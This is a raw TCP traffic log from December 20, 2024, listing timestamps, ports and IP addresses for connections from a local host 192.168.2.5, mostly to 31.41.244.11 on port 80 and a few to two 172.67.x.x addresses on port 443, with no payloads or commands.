Dec 20, 2024 02:11:26.996084929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.000092983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.000170946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.000211000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.000297070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.008492947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.008601904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.008611917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.008716106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.016869068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.016938925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.017007113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.017085075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.025240898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.025316954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.025336981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.025432110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.033684969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.033749104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.033770084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.033855915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.041961908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.042040110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.042053938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.042120934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.050307989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.050400972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.050401926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.050467968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.058734894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.058825016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.058856964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.058891058 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.067110062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.067171097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.067214012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.067445993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.074711084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.074892998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.074994087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.115870953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.116014957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.153625011 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:27.153728962 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:27.153863907 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:27.154014111 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:27.154037952 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:27.188079119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.188148975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.188215017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.188275099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.189541101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.189781904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.189840078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.194551945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.194617987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.194658041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.194732904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.199600935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.199687004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.199753046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.199827909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.204638004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.204708099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.204715014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.204792976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.209481955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.209547043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.209577084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.209645987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.214256048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.214349985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.214366913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.214423895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.219075918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.219144106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.219188929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.219245911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.223936081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.224015951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.224042892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.224112034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.224150896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.228745937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.228859901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.228905916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.229006052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.233578920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.233647108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.233685017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.233742952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.238306999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.238387108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.238454103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.238538027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.243148088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.243382931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.243413925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.243464947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.247951031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.248059034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.248127937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.251775026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.251847982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.251874924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.252002954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.255574942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.255682945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.255753040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.259394884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.259512901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.259592056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.263207912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.263318062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.263396978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.267076015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.267090082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.267170906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.270833969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.273729086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.392658949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.393887043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.395896912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.395910978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.395977974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.402086020 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:27.402143002 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:27.402240038 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:27.402661085 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:27.402693987 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:27.482736111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.483246088 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.512017965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.512046099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.512119055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.515436888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.515769005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.602808952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.602838993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.602849007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.602890968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.602925062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.602973938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.603226900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603240013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603249073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603260040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603269100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603285074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.603290081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603302956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603321075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.603336096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.603370905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.603399992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.604207039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604218960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604228973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604240894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604253054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604266882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604273081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.604279041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604294062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.604326010 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.604326010 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.604362011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.605082035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.605093002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.605150938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.605153084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.605163097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.605173111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.605185986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.605200052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.605207920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.605226040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.605268955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.606055021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606065989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606077909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606090069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606107950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606112957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.606122971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606136084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606136084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.606148005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606179953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.606209993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.606874943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606939077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.606971979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606983900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.606998920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607011080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607024908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607033014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.607072115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.607747078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607758999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607774019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607786894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607800961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607808113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.607814074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607826948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607829094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.607839108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607851028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.607867002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.607908964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.608710051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.608721018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.608731985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.608743906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.608774900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.608805895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.609186888 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:27.609391928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.609402895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.609424114 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:27.609436989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.609462976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.609509945 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:27.609814882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.609868050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.609937906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.609987974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.612641096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.612696886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.612744093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.612796068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.615431070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.615499020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.615556955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.615607023 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.618221998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.618284941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.618417978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.618473053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.621002913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.621062994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.621110916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.621167898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.623748064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.623811007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.623873949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.623944044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.626611948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.626677990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.626770020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.626827955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.629373074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.629442930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.629487991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.629542112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.632086992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.632157087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.632198095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.632253885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.634880066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.634949923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.635042906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.635099888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.637711048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.637789011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.637811899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.637870073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.640455961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.640532017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.640572071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.640630960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.643269062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.643348932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.643443108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.643501997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.644045115 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:27.644094944 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:27.644126892 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:27.644143105 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:27.646034002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.646102905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.646240950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.646296978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.648808002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.648861885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.648868084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.648921967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.651587963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.651649952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.651690960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.651745081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.656050920 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:27.656069994 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:27.656150103 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:27.656517982 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:27.656528950 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:27.722528934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.722592115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.722619057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.722707987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.723834991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.723895073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.723975897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.724030018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.726620913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.726680040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.726754904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.726810932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.729429007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.729511976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.729533911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.729589939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.732225895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.732300997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.732341051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.732398033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.734991074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.735058069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.735119104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.735188007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.737670898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.737744093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.737744093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.737803936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.740319014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.740392923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.740427971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.740488052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.742854118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.742916107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.742948055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.743005037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.745402098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.745457888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.745501995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.745569944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.747868061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.747926950 CET	49875	80	192.168.2.5	31.41.244.11
